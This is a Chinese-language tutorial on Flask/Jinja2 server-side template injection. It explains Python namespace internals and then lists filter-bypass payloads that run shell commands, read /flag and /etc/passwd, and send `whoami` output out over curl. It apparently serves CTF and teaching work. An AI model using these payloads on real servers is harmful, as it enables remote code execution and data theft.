浅谈flask ssti 绕过原理

Posted 合天智汇

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浅谈flask ssti 绕过原理相关的知识,希望对你有一定的参考价值。

文章转自先知社区:https://xz.aliyun.com/t/8029

关于flask的中ssti的绕过文章还是很多的,但分析这样构造的原因还是挺少的,恰巧最近要出题,所以写一篇文章分析一下


前置知识

python执行环境

Python 会根据作用域把代码编译成字节码,然后生成PyCodeObject 对象,然后PyCodeObject 对象在和PyFrameObject关联,PyFrameObject有运行所需的名字空间信息.

对于一个module

浅谈flask ssti 绕过原理

local是,函数内的局部变量,global是模块内的全局变量,builtin是python内建函数,如open

利用sys._getframe() 获得当前Frame,打印结果如下

浅谈flask ssti 绕过原理

注意对于python来说,global只是局限于module的,也就是如果moduleA导入了moduleB,则执行moduleB的函数,作用域仅限于moduleB,如果moduleB导入了moduleC,但是对于A来说,moduleC是不可见的

对于函数

python会依据,PyCodeObject对象和当前PyFrameObject对象生成,PyFunctionObject对象,PyFunctionObject中有两个重要的变量,func_code, func_globals。其中func_code是函数对象对应的PyCodeObject,而func_globals则是函数的global名字空间,可以通过python3 ,可以通过__globals__访问

对于类

浅谈flask ssti 绕过原理

python的所有类是type的实例,又都继承自object类,因为python支持多继承,可以通过base,mro得到继承的父类

Python在初始化class对象时会填充tp_dict,这个tp_dict会用来搜索类的方法和属性的,其中对于一些特殊方法比如__repr__,开始指向一个默认的slot_tp_repr方法,如果在一个class中重新定义了__repr__方法,则在创建class对象的时候,就会将默认的tp_repr指向的方法替换为该slot_to_repr方法,并且python的[1:2]等操作,是可以通过这些特殊方法实现的.

python的方法其实是对PyFunctionObject的包装,封装成了PyMethodObject对象,这个对象除了PyFunctionObject对象本身,还新增了class对象和成员函数调用的self参数

Flask/Jinja2

作为 web层面的攻击,我们要关注语言层面的特性和绕过

参考文档如下:

https://jinja.palletsprojects.com/en/2.11.x/templates/#list-of-builtin-filters

https://dormousehole.readthedocs.io/en/latest/

Flask/Jinja2 模板的语法,filters和内建函数,变量,都可能称为绕过的trick

基本语法如下:

  • {{ ... }} for Expressions 里面可以是一个表达式,如1+1,字符串等,支持调用对象的方法,会渲染结果

  • {% ... %} for Statements ,可以实现for,if等语句,还支持set语法,可以给变量赋值

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}

找到chr函数,并且赋值给chr变量


命令执行构造

在{{}}我们可以执行表达式,但是命名空间是受限的,没有builtins,所以eval,open这些操作是不能使用的,但根据前面的知识,我们可以通过任意一个函数的func_globals而得到他们的命名空间,而得到builtins

flask内置函数

这种方法之前好像没人提过

Flask 内置了两个函数url_for 和 get_flashed_messages,还有一些内置的对象

{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}{{request.__init__.__globals__['__builtins__'].open('/flag').read()}}

如果过滤了config,又需要查config

{{config}}{{get_flashed_messages.__globals__['current_app'].config}}


通过基类查找子类

虽然模块间的变量不共享,但是所有类都是object的子类,所以可以通过object类而得到其他类

利用

#python2.7''.__class__.__mro__[2]{}.__class__.__bases__[0]().__class__.__bases__[0][].__class__.__bases__[0]request.__class__.__mro__[1]#python3.7''.__class__.__mro__[1]{}.__class__.__bases__[0]().__class__.__bases__[0][].__class__.__bases__[0][].__class__.__base__().__class__.__base__{}.__class__.__base__request.__class__.__mro__[1]session.__class__.__mro__[1]redirect.__class__.__mro__[1]

等得到object 对象,然后通过__subclasses__()方法,得到所有子类,在找重载过__inti__,__repr__等特殊方法的类,利用这些方法的__globals__得到,__builtins__,或者os,codecs等可以进行代码执行的调用.

常见payload

// 59 为warnings.WarningMessag''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')

不使用globals的payload

// <class 'warnings.catch_warnings'>类在在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,如果可以找到warnings.catch_warnings类,则可以不使用 globals
''.__class__.__mro__[2].__subclasses__()[60]()._module.__builtins__['__import__']("os").system("calc")


过滤绕过

前置知识

  • 利用python的魔术方法,也可以实现字典,数组取值等操作

  • Jinja2对模板做了特殊处理,所以通过

A['__init__']

也可以访问A的方法,属性

  • Jinja2 的attr 过滤器可以获得对象的属性或方法

  • flask内置的request对象可以得到请求的信息

    request.args.name
    request.cookies.name
    request.headers.name
    request.values.name
    request.form.name

关键字过滤

没过滤引号

  • 如果没用过滤引号,使用反转,或者各种拼接绕过

{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__snitliub__'[::-1]]['eval']('__import__("os").popen("ls").read()')}}
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__buil'+'tins__'[::-1]]['eval']('__import__("os").popen("ls").read()')}}

过滤了引号

  • 利用将需要的变量放在请求中,然后通过[],或者通过attr,__getattribute__获得

// url?a=eval''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.[request.args.a]('__import__("os").popen("ls").read()')
// Cookie: aa=__class__;bb=__mro__;cc=__subclasses__{{((request|attr(request.cookies.get('aa'))|attr(request.cookies.get('bb'))|list).pop(-1))|attr(request.cookies.get('cc'))()}}
  • 如果request被ban,可以考虑通过{{(config.__str__()[2])+(config.__str__()[3])}}拼接需要的字符

  • 查出chr函数,利用set赋值,然后使用

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}
  • 利用内置过滤器拼接出,'%c',再利用''%语法得到任意字符

get %找到特殊字符<,url编码,得到%{%set pc = g|lower|list|first|urlencode|first%}

get 'c'
{%set c=dict(c=1).keys()|reverse|first%}
字符串拼接
{%set udl=dict(a=pc,c=c).values()|join %}
可以得到任意字符了
get _{%set udl2=udl%(95)%}{{udl}}


特殊字符过滤

其他奇奇怪怪的过滤,善用Flask/Jinja2的文档,用内置过滤器,函数,变量,魔术方法等绕过

过滤[

#getitem、pop''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('calc')

过滤双花括号

#用{%%}标记{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

这样会没有回显,考虑带外或者盲注

过滤下划线

和过滤字符串一样绕过即可


参考资料

https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%A0%BC%E5%BC%8F%E5%8C%96https://www.mi1k7ea.com/2019/05/31/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%B0%8F%E7%BB%93/https://xi4or0uji.github.io/2019/01/15/flask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/#%E6%94%BB%E5%87%BBhttps://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E6%9E%90Python-Flask-SSTI/https://xz.aliyun.com/t/52https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93


浅谈flask ssti 绕过原理

Flask服务端模板注入漏洞 

https://www.hetianlab.com/expc.do?ec=ECID87ed-2223-40e5-8083-f5c55d69af28

( 服务端模板注入是指用户输入的参数被服务端当成模板语言进行了渲染,导致代码执行,通过该实验了解服务端模板注入漏洞的危害与利用。)


欢迎投稿至邮箱:edu@heetian.com

有才能的你快来投稿吧!

投稿细则都在里面了,点击查看哦




戳戳戳

以上是关于浅谈flask ssti 绕过原理的主要内容,如果未能解决你的问题,请参考以下文章

SSTI漏洞学习(下)——Flask/Jinja模板引擎的相关绕过

详解SSTI模板注入

详解SSTI模板注入

python SSTI绕过

关于Flask SSTI,解锁你不知道的新姿势

Flask服务端模板(Jinja2)注入漏洞(SSTI)复现